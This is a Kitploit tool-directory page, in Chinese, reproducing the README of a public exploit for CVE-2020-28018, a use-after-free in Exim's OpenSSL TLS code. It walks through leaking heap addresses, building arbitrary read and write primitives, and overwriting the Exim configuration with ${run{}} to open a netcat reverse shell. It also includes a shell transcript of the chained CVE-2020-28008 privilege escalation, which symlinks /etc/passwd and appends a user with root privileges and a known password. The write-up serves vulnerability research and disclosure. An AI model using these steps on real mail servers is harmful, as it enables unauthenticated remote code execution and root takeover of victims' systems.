Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-28018 — exim use after free exploit and detection | Kitploit
工具/GitHubGitHub/dorkerdevil/cve-2020-28018
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubdorkerdevil/cve-2020-28018

CVE-2020-28018

exim use after free exploit and detection

查看仓库
715年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-28018: Exim 释放后使用(UAF)导致远程代码执行(RCE)

引言

tls-openssl.c 中存在一个释放后使用(UAF)漏洞,允许远程未认证的攻击者破坏内部内存数据,最终实现远程代码执行。

原语:

  • 内存泄漏
  • 任意读取原语
  • 写-任意位置原语

通过将这些原语串联使用,可以完全绕过所有可用的利用缓解措施,最终以 exim 用户身份实现远程代码执行。

该漏洞是在大量漏洞中一起发布的,官方 Qualys 报告将该释放后使用漏洞与 CVE-2020-28008 链接,用于在获得 RCE 后执行本地权限提升(LPE)。

前置条件

Exim 应按照以下方式配置/编译:

  • 启用 TLS
  • 使用 OpenSSL(而非 GnuTLS)
  • Exim 为受影响版本之一
  • 禁用 X_PIPE_CONNECT

你可以使用 checker.py 脚本检查远程服务器是否处于受影响版本,并满足一些必要的可利用条件。

[!] checker.py 不会触发漏洞,仅检查受影响版本,并确认 PIPELINING 和 TLS 是否已启用。这意味着该检查器不检查补丁,因此可能产生误报。

漏洞代码

如我们所知,漏洞位于 tls-openssl.c。

root@kitploit:~
/*************************************************
*         Write bytes down TLS channel           *
*************************************************/

/*
Arguments:
  ct_ctx    client context pointer, or NULL for the one global server context
  buff      buffer of data
  len       number of bytes
  more	    further data expected soon

Returns:    the number of bytes after a successful write,
            -1 after a failed write

Used by both server-side and client-side TLS.
*/

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

smtp_setup_msg() 是执行从客户端读取消息的主函数。

在特定情况下会调用 smtp_reset(),它会清理所有缓冲区和值。

这种情况可能发生在:

  • 收到 HELO/EHLO 时
  • 收到 STARTTLS 时
  • 收到 RSET 时
  • 在 smtp_setup_msg() 开始时

在 smtp_reset() 结束时,会调用 store_reset()。

store_reset 是 store_reset_3() 函数的一个宏封装。

这些 store 函数只是管理动态内存的函数。

Exim 在从 malloc 接收的块上使用池分配器。

还有一个有趣的功能,即可变长度字符串实现。

gstring 结构体:

root@kitploit:~
typedef struct gstring {
  int   size;           /* 字符串内存的当前容量 */
  int   ptr;            /* 追加更多字符的偏移量 */
  uschar * s;           /* 字符串内存 */
} gstring;

当需要更多空间来连接新字符串时,会调用 gstring_grow()。

该函数首先尝试调用 store_extend_3(),该函数尝试在同一个池块内扩展内存。

当输入长度未知时,这可能很有用,但如果在其之后分配了更多内存,则无法扩展。

然后 gstring_grow() 调用 store_newblock_3(),它只返回一个新内存并将已存在的字节从旧内存复制到新内存。

然后从 gstring_catn() 恢复 g->s 指针。

在函数 tls_write() 中,我们可以看到有一个名为 more 的 BOOL 变量。

它指示在将数据返回给用户之前,是否还有更多内容要复制到字符串缓冲区。

如果是,则指针不会置 NULL。

如果不是,则字符串缓冲区中的数据将返回给用户。

此功能为触发释放后使用打开了一些有趣的方式。

首先,指向 gstring 结构体的指针存储在一个静态变量中,这意味着在将来调用 tls_write() 时,我们能够使用它。

我们如何释放缓冲区,然后能够使用它?

我们需要让 smtp_setup_msg() 在我们的某个缓冲区仍位于 server_corked(未置 NULL)时调用 smtp_reset()。

重置后,如果我们以某种方式调用 tls_write(),该指针仍将存在,从而允许我们在内存被释放后使用它。

smtp_reset() 释放 POOL_MAIN 中的所有内存,我们的缓冲区包含在其中。

触发释放后使用

为了控制释放后使用,我们首先需要初始化一个新连接。

由于我们想要利用 tls_write(),我们首先需要启动一个新的 TLS 会话。

所以首先我们发送一个 EHLO 命令,然后发送 STARTTLS 来启动 TLS 连接。

然后为了让 more 为 1,我们管道化一个命令,最后一个命令将是 NOOP 的一半。

我们关闭 TLS 连接,并发送 NOOP 命令的剩余部分。

现在我们再次发送 EHLO,这将导致 smtp_reset 被调用并释放我们的缓冲区。

现在我们需要启动另一个 TLS 连接才能再次使用 tls_write()。

我们发送 STARTTLS。

现在向服务器发送任何命令都会导致调用 tls_write() 来返回响应。

但是……server_corked 仍然包含一个指向已释放内存中某处的指针。

而且该数据可能被其他函数使用,因为它已被释放……所以我们的 gstring 结构体将被随机二进制数据破坏。

这是触发 UAF 的结果:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

这个结构体在进入 tls_write() 处理 STARTTLS 之后的命令时就是这样的。

显然,一旦尝试访问 corked->s,就会导致 SIGSEGV 中断。

利用

如 Qualys 所述,他们使用三个步骤来利用该漏洞:

  1. 由于内存已经被释放,我们可以让 Exim 将来自 header_line 等结构体的堆指针写入我们的缓冲区,这样当调用 tls_write() 时,这些数据将返回给用户。这样我们就有了内存泄漏来继续利用。
  2. 一旦我们知道堆内存地址,我们可以构造一个任意读取原语,开始读取堆,直到找到 Exim 配置。
  3. 最后一步是构造一个写-任意位置原语。这样我们就能够将自定义配置注入到在步骤 2 中找到的缓冲区中。我们可以注入 ${run{<command>}},其中 <command> 是攻击者想要执行的任何命令,例如使用 netcat 的反向 shell。该配置将由 string_expand() 解释,并最终执行该命令。

控制释放后使用条件

很好,我们成功触发了释放后使用。

现在我们需要很好地控制 UAF,以便成功且可靠地构造我们的原语。

不幸的是,当 POOL_MAIN 的缓冲区被释放后,我们的块将直接被 free() 释放。

这意味着内存不仅会通过 store_get_3() 或 store_newblock_3() 访问,还会通过任何使用 malloc() 的函数访问……比如 CRYPTO_zalloc() 等。

在这种情况下,在 tls_server_start() 的某处,通过 malloc() 请求内存。

然后将一些二进制数据复制到其中,从而破坏我们的 gstring 结构体。

我们需要一种方法来防止这种情况,以便我们能够以合理的 gstring 结构体到达 tls_write(),该结构体指向一个有效的内存地址,否则将发生 SIGSEGV 中断。

在理解了 Exim 池分配器的工作原理、进行了调试并尝试了一些命令以查看它们在堆方面的行为后,我们最终可以避免这些数据写入我们的 gstring 结构体。

内存泄漏

一旦我们成功触发了释放后使用,并且我们的结构体没有被破坏,我们需要尝试移动堆,使某个函数在字符串的中间(在 g->ptr 之前的任何位置)写入一个堆地址。

我们很幸运,因为响应虽然是纯文本(而非二进制协议),但允许我们将 NULL 字节发送回客户端。

为什么会这样?

响应使用 SSL_write() 发送回,NULL 字节没有问题。

字符串呢?string_catn() 不会截断 NULL 字节,因为它使用 memcpy 来复制数据。

设置限制的唯一方法是通过 g->ptr,但是……由于地址是在 g->ptr 索引之前写入的,所有数据直到该索引都会返回给我们,从而泄漏宝贵的堆地址。

使用 PoC 泄漏内存的结果:

Memory Leak

任意读取

现在,我们已经发现了堆基址……

而且……地址在连接之间不会改变……所以我们现在可以开始通往 RCE 的道路了。

但是……我们如何覆盖 gstring 结构体?

结果证明使用 Qualys 技术相当直接。

ESMTP 为 SMTP 协议添加了一些内容,比如 MAIL FROM 命令的参数。

在最后一次 STARTTLS 之后使用一个大的参数就足以覆盖结构体 :)

结果:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x42424242, 
  ptr = 0x42424242, 
  s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}

完全控制 gstring 结构体。

现在是时候构造我们的任意读取原语了。

显然这看起来很容易……用一个大值覆盖 g->size 和 g->ptr。

然后用我们想要读取的内存地址覆盖 g->s。

一旦命令完成,将调用 tls_write() 向用户返回数据。

由于字符串缓冲区指针已被破坏,并指向攻击者任意位置,该位置的数据将被返回。

我们现在可以实现一个函数,遍历堆中的块,读取并尝试查找关键字,这些关键字会告诉我们该块是否包含 Exim 配置,如果是,我们将进入最后一步。

我实现的函数从堆基址开始,每次以 READ_SZ 长度遍历堆。

root@kitploit:~
	[+] Leaked heap address = 0x55c846683d90
	[+] Leaked heap_base = 0x55c8465f4000

[*] Searching for Exim configuration in memory...

[+] Config found at: 0x55c8465f6328

一旦找到某些东西,我们就进入最后一步。

写-任意位置

很好!我们知道堆基址。更有趣的是……我们知道 Exim 配置的位置!

现在是时候进行 RCE 了 :P

现在,我们必须(以某种方式)覆盖 exim 配置并注入 ${run{<command>}}。这样当执行 string_expand() 时,我们的命令被解释,最终我们获得任意命令执行。

获得 RCE 的简单方法是使用 netcat,因此在命令中使用 nc 就能给我们一个 shell。

但是……我们如何构造这样的写-任意位置原语?

我们必须首先(就像我们对任意读取原语所做的那样)覆盖 gstring 结构体。

一旦我们控制了它,我们首先将 g->s 指向我们想要写入的位置,在本例中是 Exim 配置地址。

然后在下一个要写入缓冲区的响应中,该响应将被写入 g->s 指向的位置 :)

但是……我们如何在获得任意响应的同时破坏 gstring 结构体呢?

Qualys 在公告中没有说得很清楚。

我们需要让一个 "MAIL FROM" 命令返回任意数据。

经过一些尝试,我认为最好的解决方案是使用错误消息。

我们可以选择 ADDR - strlen("501 ")。

这样这四个字节就不会破坏我们的目标。

我们如何让 MAIL FROM 失败?我使用一个错误的发件人,因为发件人需要一个域,如果没有指定域,错误消息将包含客户端发送的数据。

但这有一个问题。由于我们发送的是 NULL,所以返回的消息是:"501 NUL characters are not allowed in SMTP commands"。

所以仍然无法控制它的输出,因为我们需要在请求中包含 NULL。

我们不能再发送另一个 "MAIL FROM" 来破坏响应,原因很简单,一旦我们触发 UAF,more=0 并且无法访问已释放的缓冲区。

但是从 handle_smtp_call() 中,如果我们发送 DATA,receive_msg()。我们可以欺骗它不恢复当前池,以便我们可以稍微整理堆来覆盖已释放的缓冲区。

一旦我们覆盖了它,我们就会发送一个包含无效数据管道化的有效 MAIL FROM。响应将被写入 s 指针。

远程代码执行

一旦我们实现了写-任意位置,我直接使用 netcat 时遇到了问题,因为需要一些关于参数数量的要求。所以我做了:/bin/sh -c '<nc command here>'。

我覆盖了 MAIL FROM ACL,以便管道化第二个 MAIL FROM 会导致调用 expand_cstring(),并最终执行我的任意命令。

这是我在利用后获得 shell 的截图:

RCE_CAP

与 CVE-2020-28008 LPE 链接

root@kitploit:~
$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
 * Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#

系统信息

测试在 debian 系统上执行:

root@kitploit:~
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 10 (buster)
Release:	10
Codename:	buster

Exim 版本:

root@kitploit:~
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

我的 Exim 版本是自编译的,但复制了 debian 主流使用的编译标志。

配置与 debian 默认配置相同,可能有一些小的更改。

搭建环境

在此仓库中,有一个名为 exim-4.92 的目录。它是 exim 的源代码。

首先使用 apt 包管理器安装 exim。

将 exim 目录和 config 目录下载到机器中。

首先将 config/Makefile 复制到 exim-4.92/Local。 然后将 config/eximon.conf 复制到 exim-4.92/Local。

现在运行 make,将创建一个 build-linux-* 目录,我们将进入该目录,并将所有 "-O2" 替换为 "-O0"。

我们在 OS/ 目录中执行相同操作。最后,在 build-linux-* 目录中,将 -g 添加到 CFLAGS 变量中。

建议将 libc 和 exim 源码添加到 gdb。

现在运行 make 和 make install。

cp /usr/exim/bin/* /usr/sbin/ cp /usr/sbin/exim /usr/sbin/exim4

我使用这个脚本生成证书:https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

最后在 /etc/exim4 的 exim4 配置中启用 TLS,并使用 bash 脚本生成的 /etc/exim4/exim.crt 和 /etc/exim4/exim.key。

最后:sudo update-exim4.conf && systemctl restart exim4

检查 systemctl status exim4 以确保一切正常。

如果在尝试 STARTTLS 后收到 TLS 当前不可用的错误消息,请检查 exim4 日志。

我遇到一个问题,因为我用于证书的密钥太短。因此,修改前面提到的 gencert 脚本中的密钥位数(我使用 4096)。

更多信息

欲了解更多信息,请访问 官方 qualys 公告

下载工具